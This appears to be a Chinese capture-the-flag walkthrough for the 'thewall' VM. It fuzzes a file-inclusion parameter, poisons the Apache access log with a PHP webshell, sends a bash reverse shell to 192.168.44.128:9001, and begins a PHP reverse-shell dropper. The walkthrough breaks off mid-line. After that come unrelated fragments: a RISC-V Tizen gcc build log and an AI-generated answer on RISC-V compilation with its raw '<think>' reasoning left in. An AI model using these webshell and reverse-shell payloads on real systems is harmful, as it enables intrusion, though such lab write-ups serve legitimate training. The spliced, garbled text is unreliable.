thewall-文件包含-CAP_DAC_READ_SEARCH

thewall easy Akamai 防火墙、绕过wall、fuzz、文件包含利用、exiftool提权、sudo提权、ssh私钥利用

**后续需要虚拟机的私信我,我会打包进行文章发布链接,请持续关注!!!**

服务探测

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -A -T 4 -p 22,80 192.168.18.238 

22,80

目录扫描

由于目标靶场安装了Akamai 防火墙,正常的扫描会被拦截。所以使用gobuster扫描的时候增加延时和线程控制

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.18.238 -x php -e --delay 1s -t 1 


http://192.168.18.238/includes.php

这里扫描出来了一个文件包含名字的文件,尝试对其进行fuzz 参数。这里发现任何访问的响应都是200和长度为2,所以还需要设置排除项

wfuzz -c --hc=404 --hh=2 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 'http://192.168.18.238/includes.php?FUZZ=/etc/passwd'


000217299:   200        28 L     41 W       1460 Ch    "display_pag“

得到传入的参数为display_page

GETSHELL

通过bp 爆破了发现利用访问日志记录。

那我们可以尝试写入webshell到日志,然后取包含它

┌──(kali㉿kali)-[~]
└─$ nc 192.168.18.238 80
GET <?php system($_GET['cmd']); ?>


http://192.168.18.238/includes.php?display_page=/var/log/apache2/access.log&cmd=bash+-c+%27bash+-i+%3E%26/dev/tcp/192.168.44.128/9001+0%3E%261%27

获得第一个flag

www-data@TheWall:/home/john$ cat user.txt
cat user.txt
cc5db5e7b0a26e807765f47a006f6221

使用file_put_contents函数写入shell

nc 192.168.18.238 80 
GET <?php file_put_contents('/var/www/html/a.php',base64_decode($_GET['a'])); ?>

访问一下链接:http://192.168.1.226/includes.php?display_page=/var/log/apache2/access.log
然后确定<?php phpinfo(); ?>base64编码的代码

http://192.168.18.238/includes.php?display_page=/var/log/apache2/access.log&a=PD9waHAgcGhwaW5mbygpOyA/Pg==

接下来去包含这个文件,如下说明写入成功http://192.168.18.238/a.php
这里我们可以换个思路,将phpinfo代码换成php恢复shell代码。

<?php set_time_limit(0);$ip='192.168.44.128';$port=9002;$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';chdir("/");umask(0);$sock=fsockopen($ip,$port,$er
mktemp -u XXXXXX 932979 test_cpp_condition stddef.h __riscv_zbb test_cpp BEGIN /tmp/ffconf.c1932982/test.c 1 #include <stddef.h> 2 #if !(__riscv_zbb) 3 #error "unsatisfied condition: __riscv_zbb" 4 #endif END /tmp/ffconf.c1932982/test.c riscv64-tizen-linux-gnu-gcc -O2 -g2 -gdwarf-4 -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong -Wformat-security -Wformat -fmessage-length=0 -Wno-implicit-fallthrough -Wl,-z,relro,--as-needed -feliminate-unused-debug-types -Wformat -mabi=lp64d -march=rv64gc -Wl,-O1 -Wl,--hash-style=gnu -g -Wall -g -fPIC -DTIZEN_FEATURE_FFMPEG -DDBG_GSTFFMPEG_ALONE -DENABLE_SW_TBM_VXIMAGESINK -DTIZEN_PRODUCT_TV -DDRM_MAPI_AARCH_64 -fno-lto -fPIC -march=rv64gcv_zbb -I/home/abuild/rpmbuild/BUILD/gst-ffmpeg-1.45.0.tv/gst-libs/ext/ffmpeg/fdk-aac/include -I/usr/include/libpng16 -Wl,-z,relro -E -o /tmp/ffconf.c1932982/test.o /tmp/ffconf.c1932982/test.c test_ld cc test_cc BEGIN /tmp/ffconf.c1932982/test.c 1 int main(void){ return 0; } END /tmp/ffconf.c1932982/test.c riscv64-tizen-linux-gnu-gcc -O2 -g2 -gdwarf-4 -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong -Wformat-security -Wformat -fmessage-length=0 -Wno-implicit-fallthrough -Wl,-z,relro,--as-needed -feliminate-unused-debug-types -Wformat -mabi=lp64d -march=rv64gc -Wl,-O1 -Wl,--hash-style=gnu -g -Wall -g -fPIC -DTIZEN_FEATURE_FFMPEG -DDBG_GSTFFMPEG_ALONE -DENABLE_SW_TBM_VXIMAGESINK -DTIZEN_PRODUCT_TV -DDRM_MAPI_AARCH_64 -fno-lto -fPIC -march=rv64gcv_zbb -I/home/abuild/rpmbuild/BUILD/gst-ffmpeg-1.45.0.tv/gst-libs/ext/ffmpeg/fdk-aac/include -I/usr/include/libpng16 -Wl,-z,relro -c -o /tmp/ffconf.c1932982/test.o /tmp/ffconf.c1932982/test.c riscv64-tizen-linux-gnu-gcc -ldl -L/home/abuild/rpmbuild/BUILD/gst-ffmpeg-1.45.0.tv/gst-libs/ext/ffmpeg/fdk-aac/lib -L/usr/lib -Wl,-z,relro,-z,now -o /tmp/ffconf.c1932982/test /tmp/ffconf.c1932982/test.o -ldl -lpng16 -lfdk-aac /usr/lib64/gcc/riscv64-tizen-linux-gnu/13.1.0/../../../../riscv64-tizen-linux
最新发布
03-21
<think>好的,我现在需要解决用户关于RISC-V GCC编译和链接的问题。用户提到使用riscv64-tizen-linux-gnu-gcc编译器,带有标志如-march=rv64gcv_zbb、-fPIC,以及链接库libpng16和fdk-aac。首先,我得理清用户的问题可能出在哪里。 首先,用户可能遇到编译或链接阶段的错误。根据提供的引用内容,特别是引用[1]和[3],用户可能在工具链配置时遇到找不到编译器的问题。但用户这里使用的是riscv64-tizen-linux-gnu-gcc,这可能和常见的riscv64-unknown-linux-gnu-gcc不同,需要确认工具链是否正确安装,路径是否设置正确。用户可能没有正确安装针对Tizen系统的RISC-V工具链,或者环境变量PATH中没有包含该编译器的路径,导致“没有那个文件或目录”的错误,如引用[3]所述。 接下来,关于编译选项-march=rv64gcv_zbb。RISC-V的架构扩展需要工具链支持。rv64gcv_zbb中的v代表向量扩展,zbb是位操作扩展。需要确认用户安装的GCC版本是否支持这些扩展。如果工具链未配置启用这些扩展,编译时会报错,比如无效的架构值。用户可能需要重新编译工具链,启用对应的扩展,或者检查是否有拼写错误。 然后是-fPIC选项,这用于生成位置无关代码,通常在创建共享库时使用。如果用户的目标是生成动态库,这个选项是必要的。但需要确保所有依赖的库(如libpng16和fdk-aac)也以-fPIC编译,否则在链接时可能出现错误。例如,如果依赖库是静态库且未使用-fPIC,链接共享库时会失败。因此,用户需要检查这些依赖库的编译方式,可能需要重新编译它们以支持PIC。 关于链接库的问题,用户提到使用libpng16和fdk-aac。首先需要确认这些库是否已经为RISC-V架构编译,并且安装在工具链的库路径中。如果库是针对x86或其他架构编译的,链接时会报错,比如 incompatible file format。用户可能需要交叉编译这些库,确保它们适用于RISC-V目标。此外,链接时需要通过-L指定库路径,-l指定库名,例如-lpng16 -lfdk-aac,并确保这些库文件存在。 另外,引用[4]中提到的GCC步骤和选项,比如使用-v显示详细过程,可以帮助用户诊断问题。添加-v选项可以查看编译器查找的头文件和库路径,确认是否正确指向了RISC-V版本的依赖库。 可能的步骤总结:首先检查编译器是否存在,路径是否正确;然后验证架构扩展是否支持;接着检查依赖库是否已正确交叉编译并安装;最后确保编译和链接选项正确,包括-fPIC和库的链接参数。 可能遇到的问题还包括:工具链不支持Tizen目标,需要特定配置;依赖库的版本不兼容;或者链接顺序问题。用户需要逐步排查,从编译器可用性开始,到架构支持,再到库的配置。</think>### RISC-V GCC编译与链接问题分析 #### 1. **确认工具链安装与路径** - **问题排查**:首先检查`riscv64-tizen-linux-gnu-gcc`是否已正确安装。若出现“命令未找到”错误,可能是路径未配置或工具链未安装[^3]。 ```bash # 检查编译器是否存在 which riscv64-tizen-linux-gnu-gcc # 若未找到,需确认安装路径并添加到PATH export PATH=/path/to/toolchain/bin:$PATH ``` - **特殊说明**:`riscv64-tizen-linux-gnu`前缀表明工具链面向Tizen系统,需确保其与目标环境(如库版本)匹配[^2]。 #### 2. **验证架构扩展支持** - **选项解析**:`-march=rv64gcv_zbb`需工具链支持向量扩展(`v`)和位操作扩展(`zbb`)。若GCC版本过低或未启用这些扩展,编译会报错。 ```bash # 检查支持的扩展 riscv64-tizen-linux-gnu-gcc --target-help | grep "rv64" ``` - **解决方案**:若不支持,需重新编译工具链并启用扩展(如通过`--with-arch=rv64gcv_zbb`配置)。 #### 3. **处理位置无关代码(-fPIC)** - **编译阶段**:添加`-fPIC`确保生成位置无关代码,适用于动态链接库。若依赖库未使用`-fPIC`,链接时会报错: ```bash # 示例错误:recompile with -fPIC riscv64-tizen-linux-gnu-gcc -shared -o libdemo.so demo.o -lpng16 ``` - **依赖库处理**:需重新编译`libpng16`和`fdk-aac`,确保其使用`-fPIC`: ```bash # 交叉编译依赖库示例 ./configure --host=riscv64-tizen-linux-gnu CFLAGS="-fPIC" make && make install ``` #### 4. **链接库路径与兼容性** - **库路径配置**:通过`-L`指定库路径,`-I`指定头文件路径: ```bash riscv64-tizen-linux-gnu-gcc -march=rv64gcv_zbb -fPIC -I/path/to/include -L/path/to/libs -lpng16 -lfdk-aac main.c -o app ``` - **库兼容性**:确认`libpng16`和`fdk-aac`已为RISC-V架构编译。若库文件格式不兼容(如ELF格式错误),需重新交叉编译[^4]。 #### 5. **调试与日志** - **详细输出**:添加`-v`选项查看编译细节,确认头文件/库搜索路径: ```bash riscv64-tizen-linux-gnu-gcc -v -march=rv64gcv_zbb -fPIC main.c -o app 2>&1 | grep "LIBRARY_PATH" ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

是乙太呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值